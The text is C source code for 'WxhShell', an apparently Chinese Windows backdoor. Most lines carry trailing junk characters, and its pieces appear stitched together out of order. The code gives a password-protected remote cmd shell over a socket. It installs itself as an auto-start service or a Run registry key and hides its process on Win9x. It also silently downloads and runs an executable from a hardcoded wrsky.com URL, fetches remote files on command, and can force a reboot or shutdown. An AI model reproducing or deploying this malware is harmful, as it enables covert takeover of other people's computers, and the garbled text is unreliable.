    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jPf*qe>U  
    else { fUg I*V  
    closesocket(wsh); QR;E>eEq  
    ExitThread(0); 'Nbae-pf  
    } X#*|_(^  
    break; ;n,@[v  
    } ;Y>cegG\  
  // 获取shell RZeU{u<O  
  case 's': { #]!0$z|Z  
    CmdShell(wsh); ^N5BJ'[F:  
    closesocket(wsh); '9MtIcNb  
    ExitThread(0); ,pz^8NJAI  
    break; <H)I06];  
  } ki^c)Tqn  
  // 退出 ymLhSF][  
  case 'x': { uT??t=vb  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S@a#,,\[  
    CloseIt(wsh); $G5;y>  
    break; yprf `D>  
    } tj_+0J$sw:  
  // 离开 &[hq !v  
  case 'q': { &k+'TcWm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6n.W5 1g(s  
    closesocket(wsh); *M_Gu{xc  
    WSACleanup(); t3)nG8> )  
    exit(1); j&. MT@  
    break; FaNH+LPe  
        } wcT0XXh  
  } /f7Fv*z/  
  } >}*i Qq  
|*im$[g=-  
  // 提示信息 e'c~;Z\A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FN&.PdRT  
} Q4_+3-g<7L  
  } 0 pH qNlb  
12Hy.l  
  return; EQkv&k5X  
} \Om< FH}  
6uYCU|JsU  
// shell模块句柄 ncluA~8  
int CmdShell(SOCKET sock) /?jAG3"  
{ tndtwM*B'  
STARTUPINFO si; T/" 6iv\1  
ZeroMemory(&si,sizeof(si)); XTHy CK  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3JiDi X"|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i`^`^Ka  
PROCESS_INFORMATION ProcessInfo; wPDA_ns~  
char cmdline[]="cmd"; wyk4v}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s e9X  
  return 0; J@y1L]:  
} .ya^8gM  
hN6j5.x%  
// 自身启动模式 szC~?]<YY  
int StartFromService(void) N.|Zh+!  
{ s fxQ  
typedef struct #L{QnV.3  
{ OgNt"Vg  
  DWORD ExitStatus; >Rw[x  
  DWORD PebBaseAddress; 4425,AR  
  DWORD AffinityMask; i51~/ R  
  DWORD BasePriority; &P%3'c}G  
  ULONG UniqueProcessId; h'x|yy]@3  
  ULONG InheritedFromUniqueProcessId; Ch`XwLY9  
}   PROCESS_BASIC_INFORMATION; ;(Q4x"?I  
`/'Hq9$F<"  
PROCNTQSIP NtQueryInformationProcess; 5A:mu+Iz6H  
8VJUaL@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5uK:f\y)l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vMXS%Q  
}Lx?RU+@=  
  HANDLE             hProcess; ;%Jw9G\h  
  PROCESS_BASIC_INFORMATION pbi; |\ j'Z0  
j(!M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2B7X~t>8a  
  if(NULL == hInst ) return 0; w<*tbq  
> _1*/o JO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zxtx~XO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cjU*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c<j2wKz  
DKCPi0  
  if (!NtQueryInformationProcess) return 0; yAoJ?<4^W  
&,xN$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h#?L6<*tm  
  if(!hProcess) return 0; [Z484dS`_  
s#ijpc>h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9cAb\5c|  
, e{kC  
  CloseHandle(hProcess); ]l>)Di#*o  
8/f ,B:by  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^o]ZDc  
if(hProcess==NULL) return 0; ,V3P.ni]  
%0}qMYS  
HMODULE hMod; 1Fn+nDn O6  
char procName[255]; *doK$wYP  
unsigned long cbNeeded; pvJ@$L `'  
tFL/zqgm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w} *;^n  
I|JMkP  
  CloseHandle(hProcess); zg&<HJO  
X+N5iT  
if(strstr(procName,"services")) return 1; // 以服务启动 .=J- !{z  
} SW p~3P  
  return 0; // 注册表启动 W j^@Zq#  
} /~w*)e)  
r^}0 qO,XM  
// 主模块 sV,Yz3E<u$  
int StartWxhshell(LPSTR lpCmdLine) 1L4-;HYJm  
{ 1b3k|s4   
  SOCKET wsl; YR-G:-(#b  
BOOL val=TRUE; h`\ $8 oV  
  int port=0; UHvA43  
  struct sockaddr_in door; lWj*tnnn[  
$&Vba@v  
  if(wscfg.ws_autoins) Install(); ZH;4e<gg  
MWA,3I\.  
port=atoi(lpCmdLine); sIf]e'@AC  
Z/G#3-5)p  
if(port<=0) port=wscfg.ws_port; mz6]=]1w  
RVttk )Ny  
  WSADATA data; TG$ #aX\'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >"b W'  
iSezrN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d; YKw1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Slg *[r#  
  door.sin_family = AF_INET; n({%|O<|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b.RU%Y#>\  
  door.sin_port = htons(port); /Tm+&Jd  
2A~o)7JaZ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6CHb\k  
closesocket(wsl); 0H>gMXWE]  
return 1; gR# k'   
} M9R'ONYAa  
Eqz|eS*6  
  if(listen(wsl,2) == INVALID_SOCKET) { (JlPe)Q5  
closesocket(wsl); z+Fu{<#(  
return 1; eZ(ThA*2=t  
} uc@4fn  
  Wxhshell(wsl); EGt 50  
  WSACleanup(); er7(Wph  
(Q=o 9o:b  
return 0; SkmTW@v  
-`XS2  
} O)vGIp?f't  
8bdO-LJ9  
// 以NT服务方式启动 R&.&x'<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0}NDi|o  
{ hxMRmH[f:  
DWORD   status = 0; E|c(#P{  
  DWORD   specificError = 0xfffffff; 1k4\zVgi  
%_5#2a  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tdxzs_V,-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;hDk gp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uxD3+Q  
  serviceStatus.dwWin32ExitCode     = 0; Gh=I2GSo  
  serviceStatus.dwServiceSpecificExitCode = 0;  Jk(V ]  
  serviceStatus.dwCheckPoint       = 0; &Ril[siw  
  serviceStatus.dwWaitHint       = 0; bl a`B=r  
w6!97x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AH&RabH2  
  if (hServiceStatusHandle==0) return; 6H'A]0  
r+C4<-dT  
status = GetLastError(); |8CxMs  
  if (status!=NO_ERROR) %Hd[,duwO  
{ Ez|NQ:o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3JQ7Cc>  
    serviceStatus.dwCheckPoint       = 0; *4%pXm;  
    serviceStatus.dwWaitHint       = 0; E Ou[X'gLr  
    serviceStatus.dwWin32ExitCode     = status; ) dk|S\  
    serviceStatus.dwServiceSpecificExitCode = specificError; q`r| DcN~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v%cCJ SO#  
    return; B_ict)}ld  
  } . KLEx]f.  
rN|=cn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #)~u YQ  
  serviceStatus.dwCheckPoint       = 0; 63l& ihj  
  serviceStatus.dwWaitHint       = 0; bKsjbYuo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a`xAk ^w+  
} 8]`#ax 5  
.c}+kHv  
// 处理NT服务事件,比如:启动、停止 hJ`Gu7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q-;Y }q  
{ /_m )D;!y  
switch(fdwControl) dX/7n=  
{ 1qNO$M  
case SERVICE_CONTROL_STOP: N gF7$@S  
  serviceStatus.dwWin32ExitCode = 0;  "LB MYZ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pTq DPU  
  serviceStatus.dwCheckPoint   = 0; !Ea >tQ|  
  serviceStatus.dwWaitHint     = 0; ^4 $4x  
  { i \NV<I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1xS+r)_n@  
  } =AzPAN#e  
  return; 3A`]Rk   
case SERVICE_CONTROL_PAUSE: j8Z;}Ps  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; K\9CW%W  
  break; E} XmZxHV  
case SERVICE_CONTROL_CONTINUE: 0ex.~S_Oj4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; J78.-J5 j0  
  break; vwu/33  
case SERVICE_CONTROL_INTERROGATE: KHZ[drb6$  
  break; d]s^?=gM  
}; $|g1 _;(G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~) _Nh  
} K0( S%v|,}  
_-({MX[3k<  
// 标准应用程序主函数 kQbZ!yl>[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }ZVond$y4  
{ b)'CP Cu*  
eg/itty  
// 获取操作系统版本 ].xSX0YQ%  
OsIsNt=GetOsVer(); %:`v.AG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C5V}L  
/jJD {  
  // 从命令行安装 kE<CuO  
  if(strpbrk(lpCmdLine,"iI")) Install(); EP@u4F  
![K\)7iKo  
  // 下载执行文件 JS ^Cc  
if(wscfg.ws_downexe) { QG?!XWz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _[&V9 Jt  
  WinExec(wscfg.ws_filenam,SW_HIDE); N,qo/At}R[  
} }_KzF~  
}p6]az3  
if(!OsIsNt) { o%~fJx:]y  
// 如果时win9x,隐藏进程并且设置为注册表启动 `.pEI q^  
HideProc(); a~ jb%i_  
StartWxhshell(lpCmdLine); mM&P&mz/D  
} Q /?`);  
else &v .S_Ym  
  if(StartFromService()) L>IP!.J]?  
  // 以服务方式启动 w;ZT-Fti  
  StartServiceCtrlDispatcher(DispatchTable); <}[ !k<  
else jw{N#QDh  
  // 普通方式启动  :'F,l:  
  StartWxhshell(lpCmdLine); ,zx{RDI  
c6vJ;iz  
return 0; dQ{qA(m  
} C8|Ls(4Ck  
+ GQ{{B  
$,by!w'e:l  
?:9y !Q=  
=========================================== Vv+nq_  
7<]&pSt=  
%OgK{h  
I"czo9Yspd  
W8^A{l4  
ho{%7\  
" neM)(` gp  
G 0pq'7B  
#include <stdio.h> (.!9  
#include <string.h> H(.9tuA  
#include <windows.h> .TA)|df ^  
#include <winsock2.h> El9T>!Z  
#include <winsvc.h> 5r 4~vK  
#include <urlmon.h> .Xp,|T  
ZPw4S2yw3.  
#pragma comment (lib, "Ws2_32.lib") c\o_U9=n  
#pragma comment (lib, "urlmon.lib") WMC^G2 n  
3G4WKg.^  
#define MAX_USER   100 // 最大客户端连接数 LAk .f  
#define BUF_SOCK   200 // sock buffer j}.gK6Yq*  
#define KEY_BUFF   255 // 输入 buffer Uzvd*>mv  
el5Pe{j '  
#define REBOOT     0   // 重启 ^V;r  
#define SHUTDOWN   1   // 关机 %!Eh9C*  
d)uuA;n  
#define DEF_PORT   5000 // 监听端口 ZVH 9je  
)x\%*ewY  
#define REG_LEN     16   // 注册表键长度 >4wigc  
#define SVC_LEN     80   // NT服务名长度 iWjNK"W  
'Iw`+=iVz  
// 从dll定义API YG0/e#5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }Y!V3s1bm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iSf%N>y'K  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \m)s"Sh.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %52e^,//  
XuJyso9kA  
// wxhshell配置信息 d4IQ;u  
struct WSCFG { bX38=.up  
  int ws_port;         // 监听端口 C {*?  
  char ws_passstr[REG_LEN]; // 口令 A94:(z;{  
  int ws_autoins;       // 安装标记, 1=yes 0=no Y_n/rD>  
  char ws_regname[REG_LEN]; // 注册表键名 Y S7lB  
  char ws_svcname[REG_LEN]; // 服务名 c$[2tZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5: gpynE|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _$T !><)y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qfT9g>EF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no c}OveR$'&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +$ djX=3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^n~Kr1}nj  
*<cRQfA1  
}; BKTTta1mY  
4ZUtK/i+r  
// default Wxhshell configuration ~N9k8eT  
struct WSCFG wscfg={DEF_PORT, [.|& /O  
    "xuhuanlingzhe", e^q^ AP+*  
    1, *sp")h#Z  
    "Wxhshell", yj_/:eX  
    "Wxhshell", />Zfx.Aj6  
            "WxhShell Service", &#C&0f8PnD  
    "Wrsky Windows CmdShell Service", r|}Pg}O  
    "Please Input Your Password: ", )( 3)^/Xz  
  1, t9<BQg  
  "http://www.wrsky.com/wxhshell.exe", }!fIY7gv  
  "Wxhshell.exe" a+z>pV|  
    }; p\_3g!G'  
`_LQs9J0J  
// 消息定义模块 X n0HJ^"_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xp:I(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |+8rYIms`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V8F! o  
char *msg_ws_ext="\n\rExit."; Oq<3&*  
char *msg_ws_end="\n\rQuit."; !8|r$mN8  
char *msg_ws_boot="\n\rReboot..."; 'uz o[>p  
char *msg_ws_poff="\n\rShutdown..."; R $<{"b  
char *msg_ws_down="\n\rSave to "; !2AD/dtt   
4S>#>(n7=  
char *msg_ws_err="\n\rErr!"; oD2! [&  
char *msg_ws_ok="\n\rOK!"; ? XVE {N  
bh8GP]*E|  
char ExeFile[MAX_PATH]; ]GRVU  
int nUser = 0; @)Vb?|3  
HANDLE handles[MAX_USER]; .&]3wB~  
int OsIsNt; x!S}Y"  
p?Ux1S  
SERVICE_STATUS       serviceStatus; ]{i0?c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =zAFsRoD_B  
j# c@dze  
// 函数声明 =\ 8 x  
int Install(void); )$Ib6tYY  
int Uninstall(void); ![{/V,V]~  
int DownloadFile(char *sURL, SOCKET wsh); \l0!si  
int Boot(int flag); h] )&mFiE"  
void HideProc(void); G $*=9`  
int GetOsVer(void); jm&[8ApW  
int Wxhshell(SOCKET wsl); .3+ 8Ip#z  
void TalkWithClient(void *cs); ~g[D!HV|yu  
int CmdShell(SOCKET sock); zuMz6#aCC8  
int StartFromService(void); `TF3Ho\MC  
int StartWxhshell(LPSTR lpCmdLine); a>#$&&oQ0  
sDgo G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .yTo)t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); y<IHZq`C3  
L6qK3xa}  
// 数据结构和表定义 L1lDDS#  
SERVICE_TABLE_ENTRY DispatchTable[] = E}w5.1  
{ ;gHcDnH)  
{wscfg.ws_svcname, NTServiceMain}, LmsPS.It  
{NULL, NULL} Qj /H$  
}; #Z]Cq0=  
h3>u[cX%  
// 自我安装 b[&ri:AC  
int Install(void) , =*^XlO=c  
{ 7dB_q}<  
  char svExeFile[MAX_PATH]; A Ef@o+A  
  HKEY key; ]_s;olKNI  
  strcpy(svExeFile,ExeFile); HIj:?y  
o|84yT!~  
// 如果是win9x系统,修改注册表设为自启动 A0.xPru1p  
if(!OsIsNt) { ={h^X0<s9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CO ZfR~}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JeVbFZ8  
  RegCloseKey(key); B2BG*xa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *.$ov<E.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k=Wt57jt  
  RegCloseKey(key); *mn9CVZ(}M  
  return 0; Eos;7$u[  
    } iH>JR[A  
  } 8PeVHpZ  
} g-x;a0MQx  
else { o2YHT \P n  
kot KKs   
// 如果是NT以上系统,安装为系统服务 |tY6+T}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S:2 xm8 i  
if (schSCManager!=0) H`3w=T+I  
{ <VN< ~sz  
  SC_HANDLE schService = CreateService  .;vd  
  ( V~.SgbLc  
  schSCManager, \Ym$to  
  wscfg.ws_svcname, h52+f  
  wscfg.ws_svcdisp, Pa; *%7  
  SERVICE_ALL_ACCESS, Cx) N;x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h4slQq~K  
  SERVICE_AUTO_START, )=N.z6?  
  SERVICE_ERROR_NORMAL, h_Er$ZT64  
  svExeFile, >9g^-~X;v  
  NULL, E/% F0\B  
  NULL, I2z7}*<u  
  NULL, Br$/hn=  
  NULL, '/ueY#eG  
  NULL +~ S7]AZ  
  ); |CS&H2!s  
  if (schService!=0) zZ<~yi3A9  
  { *D7oHwDU  
  CloseServiceHandle(schService); D* HK[_5  
  CloseServiceHandle(schSCManager); )B @&q.2B=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N0 t26| A  
  strcat(svExeFile,wscfg.ws_svcname); (hY^E(D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Jju?v2y`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5(\[Gke  
  RegCloseKey(key); lm'.G99{  
  return 0; ri9n.-xs  
    } 1Ji"z>H*  
  } at3YL[,[Z  
  CloseServiceHandle(schSCManager); #TP Y%  
} G0r(xP?  
} ,5sv;  
{5fq4A A6  
return 1; noT}NX%  
} zzKU s"u  
127@ TN"  
// 自我卸载 QX-M'ur99  
int Uninstall(void) ~vR<UQz  
{ ;ZrFy=Iv  
  HKEY key; 5kv]k?   
q 7+|U%!9  
if(!OsIsNt) { yg4ILL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G_5NS<JE"S  
  RegDeleteValue(key,wscfg.ws_regname); +A_jm!tJS(  
  RegCloseKey(key); 1@<>GDB9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B7'2@+(  
  RegDeleteValue(key,wscfg.ws_regname); /hyCR___  
  RegCloseKey(key); Ga *  
  return 0; URTJA<r8D  
  } 61TL]S8  
} S7hfwu&7F  
} ! }awlv;  
else { h/l?,7KHI  
N4 _V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~-(X\:z}  
if (schSCManager!=0) ;Y &2G'  
{ C2%Yry  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JAL"On#c#0  
  if (schService!=0) Ly/5"&HD  
  { eR8>5:V_  
  if(DeleteService(schService)!=0) { K*MI8')  
  CloseServiceHandle(schService); z<<aT  
  CloseServiceHandle(schSCManager); fli7Ow?M~  
  return 0; l}Vg;"1'J  
  } gE!`9#..  
  CloseServiceHandle(schService); t`4o&vsj=  
  } Qc:Sf46O  
  CloseServiceHandle(schSCManager); a@gm r%C  
} 7.v{=UP  
} ~HgN'#Y?  
ZW8;?# _  
return 1; DZ;2aH  
} (WS<6j[q  
SYK?5_804  
// 从指定url下载文件 (pQ$<c  
int DownloadFile(char *sURL, SOCKET wsh) ^m^,:]I0P  
{ TGPHjSZ1  
  HRESULT hr; 7o M]qLF  
char seps[]= "/"; EY!P"u;  
char *token; $%J $  
char *file; Vg"Ze[dA  
char myURL[MAX_PATH]; V P4ToYc  
char myFILE[MAX_PATH]; i>rsq[l  
; >>/}Jw\  
strcpy(myURL,sURL); P,Rqv)}X  
  token=strtok(myURL,seps); 9\NP)Vm$^  
  while(token!=NULL) SVyJUd_  
  { =}4lx^`oeT  
    file=token; l' Z `%}R  
  token=strtok(NULL,seps); mc5$-}1V,  
  } `?Xt ,  
}A_>J7w  
GetCurrentDirectory(MAX_PATH,myFILE); ~f%AbDye  
strcat(myFILE, "\\"); cE]#23  
strcat(myFILE, file); E;x~[MA  
  send(wsh,myFILE,strlen(myFILE),0); K,GX5c5  
send(wsh,"...",3,0); ;%aWA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ol8uV{:"  
  if(hr==S_OK) 6NqLo^ "g  
return 0; GUK3`}!%  
else 4?&CK  
return 1; S{ !m})1?  
&28n1  
} Sst`*PX:  
zn{[]J  
// 系统电源模块 Tn3f5ka'  
int Boot(int flag) d "vd_}P~  
{ ('px X+  
  HANDLE hToken; pDx}~IB  
  TOKEN_PRIVILEGES tkp; z'}?mE3i  
p}swJ;S  
  if(OsIsNt) { NBZ>xp[U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j k}m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #8jH_bi  
    tkp.PrivilegeCount = 1; \OXKK<^$uK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }GTy{Y*&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3/hAxd  
if(flag==REBOOT) { /2!"_?<L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :WnXoL  
  return 0; y7s.6i}7  
} Y:="vWWG  
else { V/-~L]G  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (gv ~Vq  
  return 0; D+  **o  
} M+TF0c  
  } ~d?\rj3=  
  else { 4==Lt Ep  
if(flag==REBOOT) { \ow0Y >  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #TSLgV'U  
  return 0; W(tXq  
} aw:0R=S,>  
else { {*C LWs4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p^``hP:J  
  return 0;  goT:\2  
} JZ=a3)x"  
} H{T)?J~  
dfq5P!'  
return 1; Gu_Rf&:  
} 0IM#T=V  
!kfnqe?|  
// win9x进程隐藏模块 [}_ar  
void HideProc(void) 7e"(]NC84  
{ uNY]%[AnJ  
] H[FZY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r4qFEFV3%  
  if ( hKernel != NULL ) 8)k.lPoo.  
  { w,.Hdd6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wB( igPi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l9.wMs*`X  
    FreeLibrary(hKernel); ),6Z1 K1  
  } c$'UfW  
*WgP+"h  
return; &WHEPdD  
} 6%_d m'  
0\U28zbMJw  
// 获取操作系统版本 M$gy J!Pb  
int GetOsVer(void) f i!wrvO  
{ o&~z8/?LA  
  OSVERSIONINFO winfo; wEMUr0Hq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c(AjM9s  
  GetVersionEx(&winfo); &4DV]9+g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h OboM3_  
  return 1; qwaw\vOA  
  else 4p~:(U[q  
  return 0; (<.1o_Q-LU  
} +T^m  
"v3u$-xN1  
// 客户端句柄模块 aV(*BE/@F  
int Wxhshell(SOCKET wsl) lv ^=g  
{ I/)dXk~  
  SOCKET wsh; /HDX[R   
  struct sockaddr_in client; pp[? k}@  
  DWORD myID;  m|"MJP  
*qBMt[a  
  while(nUser<MAX_USER) Qzh:*O  
{ R/O_*XY  
  int nSize=sizeof(client); 1ck2Gxn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W^+b gg<.  
  if(wsh==INVALID_SOCKET) return 1; 4!gyFi6$  
g}qK$>EPS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vFCp= 8h  
if(handles[nUser]==0) oa1a5+ A  
  closesocket(wsh); :WCUHQ+  
else w-CuO4P  
  nUser++; ,_lwT}*w  
  } @3S2Xb{ra1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "ej>1{3Y:=  
uR)@v^$FE  
  return 0; ]-fZeyY$  
} V`WfJ>{;Z  
y~S[0]y>  
// 关闭 socket ypd  
void CloseIt(SOCKET wsh) up2%QbN(  
{ ^LC5orO  
closesocket(wsh); .(1$Q6yG  
nUser--; {2:H`|x  
ExitThread(0); %r!#  
} H[Pb Wy:  
puqH%m+u  
// 客户端请求句柄 >LU*F|F]B  
void TalkWithClient(void *cs) [bOy, ^@4  
{ >PGm}s_  
|_=jXf\TL  
  SOCKET wsh=(SOCKET)cs; zPkg3H  
  char pwd[SVC_LEN]; !s)$_tG  
  char cmd[KEY_BUFF]; 329xo03-[  
char chr[1]; WAdl@){  
int i,j; FUcs=7c  
v}Aw!Dv/  
  while (nUser < MAX_USER) { G+g`=7  
P|(J]/  
if(wscfg.ws_passstr) { DU7Ki6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )v-* WreS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \iE'E  
  //ZeroMemory(pwd,KEY_BUFF); Om1z  
      i=0; tt[_+e\4  
  while(i<SVC_LEN) { 8m*\"_S{  
W>Rv  
  // 设置超时 s{: Mu~v  
  fd_set FdRead; g*tLqV  
  struct timeval TimeOut; _fyw  
  FD_ZERO(&FdRead); <?J7Z|  
  FD_SET(wsh,&FdRead); 9H)uTyuNi  
  TimeOut.tv_sec=8;  7:p]~eM)  
  TimeOut.tv_usec=0; OVh/t# On  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Uq+ _#{2(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m5x>._7le  
$cy:G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /pge7P  
  pwd=chr[0]; ,/ig8~u'c  
  if(chr[0]==0xd || chr[0]==0xa) { AeJM[fCMa  
  pwd=0; f%}+.e D  
  break; jN<]yhqf  
  } slmxit  
  i++; .BUl$RW|  
    } ?rK%;GTo  
s,29_z7  
  // 如果是非法用户,关闭 socket Q.] )yqX6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +8Px` v1L  
} q7PRJX  
Z{CL!  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jI V? p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .>nd@oU  
$tKATL*  
while(1) { :cEe4a  
&Egn`QU  
  ZeroMemory(cmd,KEY_BUFF); %7@H7^s}9  
m{5$4v,[  
      // 自动支持客户端 telnet标准   RQ'c~D)X  
  j=0; dB,#`tc=,  
  while(j<KEY_BUFF) { w:LCm `d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c]n03o  
  cmd[j]=chr[0]; (hV"z;rI  
  if(chr[0]==0xa || chr[0]==0xd) { %i "  
  cmd[j]=0; *Fc&DQT(  
  break; &e)p6Egl  
  } PmY:sJ{M  
  j++; E 9:hK  
    } bOdv]nQ1  
%Uk/P  
  // 下载文件 lG+ltCc$9  
  if(strstr(cmd,"http://")) { Ww@;9US 3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /t^lI%&  
  if(DownloadFile(cmd,wsh)) }:8>>lQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q(IS=  
  else 8JrGZ8Q4RM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !491 \W0ZH  
  } vWovR`  
  else { DQICD.X6R  
KEN-G  
    switch(cmd[0]) { -]A#G`'  
  .%<&W1  
  // 帮助 t5APD?5 c  
  case '?': { "3MUrIsB>  
